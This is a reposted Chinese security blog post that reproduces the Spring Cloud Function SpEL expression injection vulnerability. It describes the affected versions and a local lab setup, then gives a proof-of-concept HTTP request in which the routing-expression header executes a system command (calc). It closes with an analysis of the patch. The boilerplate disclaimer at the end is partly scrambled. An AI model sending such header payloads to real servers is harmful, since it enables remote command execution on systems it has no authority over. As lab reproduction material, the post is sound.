漏洞复现-Spring Cloud Function SpEL表达式注入

admin 2022年3月29日23:44:40评论534 views字数 1704阅读5分40秒阅读模式

漏洞描述

Spring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRouter时, HTTP请求头 spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,攻击者可通过该漏洞进行远程命令执行

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

编译好的项目 https://github.com/Pizz33/Spring-Cloud-Function-SpEL

使用idea新增一个spring lnitializr项目,选择与环境匹配的java版本

漏洞复现-Spring Cloud Function SpEL表达式注入

添加spring web和function

漏洞复现-Spring Cloud Function SpEL表达式注入

右侧栏选择maven-package编译jar包

漏洞复现-Spring Cloud Function SpEL表达式注入

编译完成后运行jar包




漏洞复现-Spring Cloud Function SpEL表达式注入


漏洞复现-Spring Cloud Function SpEL表达式注入

访问127.0.0.1:8080出现下图说明搭建成功

漏洞复现-Spring Cloud Function SpEL表达式注入

发送poc,成功执行命令


POST /functionRouter HTTP/1.1Host: 127.0.0.1:8080spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")Content-Type: application/x-www-form-urlencodedContent-Length: 5
xxx

漏洞复现-Spring Cloud Function SpEL表达式注入

漏洞原理

位于 RoutingFunctionTests.java 的128行,可以清楚地看出Http头部构造方式

漏洞复现-Spring Cloud Function SpEL表达式注入

从官方补丁对比可看出新增了SimpleEvaluationContext,用于限制外部输入解析,在解析前先判断 spring.cloud.function.routing-expression的值是否取自http头,外部输入使用SimpleEvaluationContext,非外部输入使用StandardEvaluationContext进行解析

漏洞复现-Spring Cloud Function SpEL表达式注入


漏洞复现-Spring Cloud Function SpEL表达式注入

本文转自Hyyrent

原链接:https://pizz33.github.io/2022/03/23/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-Spring%20Cloud%20Function%20SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/

漏洞复现-Spring Cloud Function SpEL表达式注入

本文最终解释权归本文作者所有!

    任何公众号场、本项目涉及的任何工具,仅用于商业商业用途,不能保证其合法性和使用性,并能用于研究项目中的应用,目标和有效的实施情况自己判断;

     文章、项目内场所有资源文件,杜绝任何靶本公众号、自媒体进行形式的擅自转载、发布

    公众对脚本及任何概不负责包括不由任何脚本错误导致的工具损失或损害及任何法律责任;

    直接使用本或公众发布的技术、靶场文章项目中涉及的脚本工具,但在某些行为不符合任何国家/地区或相关地区的情况下进行传播时,引发的隐私或其他任何法律问题的后果概不负责;

    如果任何单位或个人认为项目或文章的内容可能侵犯其权利,则应及时通知并证明其身份,证明我们将在收到证明文件后删除相关内容;

    以方式或使用此项目的任何人或直接使用项目的直接用户都应仔细阅读此声明;

    本公众号保留更改或补充,免责随时声明的权利;

    访问本公众号的任何文章或项目,请您立即接受此免责声明。

您在本声明未发出之时,或者使用访问已接受此声明,请查看本公众号。

                                                                                              此致

    由于、利用的信息而造成的任何或直接的此文传播后果,均由用户本人负责,作者不承担任何直接责任。

一切法律后果均由攻击者承担!!!

日站不规范,亲人两行泪!!!

不规范,亲人两行!!!

不规范,亲人两行!!!

  • 专注于信息安全方面分享,传播商业性广告,不

  • 关注不迷,点赞!关注!转向!评论!!

  • 要投稿的请留言或者加微信,会第一时间回复,谢谢!







原文始发于微信公众号(每天一个入狱小技巧):漏洞复现-Spring Cloud Function SpEL表达式注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月29日23:44:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现-Spring Cloud Function SpEL表达式注入https://cn-sec.com/archives/853325.html

发表评论

匿名网友 填写信息